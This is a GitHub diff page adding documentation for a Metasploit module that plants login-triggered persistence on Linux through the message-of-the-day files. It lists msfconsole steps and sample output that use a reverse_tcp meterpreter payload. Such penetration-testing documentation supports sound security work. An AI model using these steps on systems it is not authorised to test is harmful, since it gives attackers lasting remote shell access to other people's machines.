You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
2
+
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
3
+
4
+
## Verification Steps
5
+
6
+
1. Start msfconsole
7
+
2. Obtain a session on the target machine
8
+
3.`use exploit/linux/local/motd_persistence`
9
+
4.`set session -1`
10
+
5.`exploit`
11
+
12
+
## Module usage
13
+
14
+
```
15
+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
16
+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
17
+
msf6 exploit(linux/local/motd_persistence) > set session -1
0 commit comments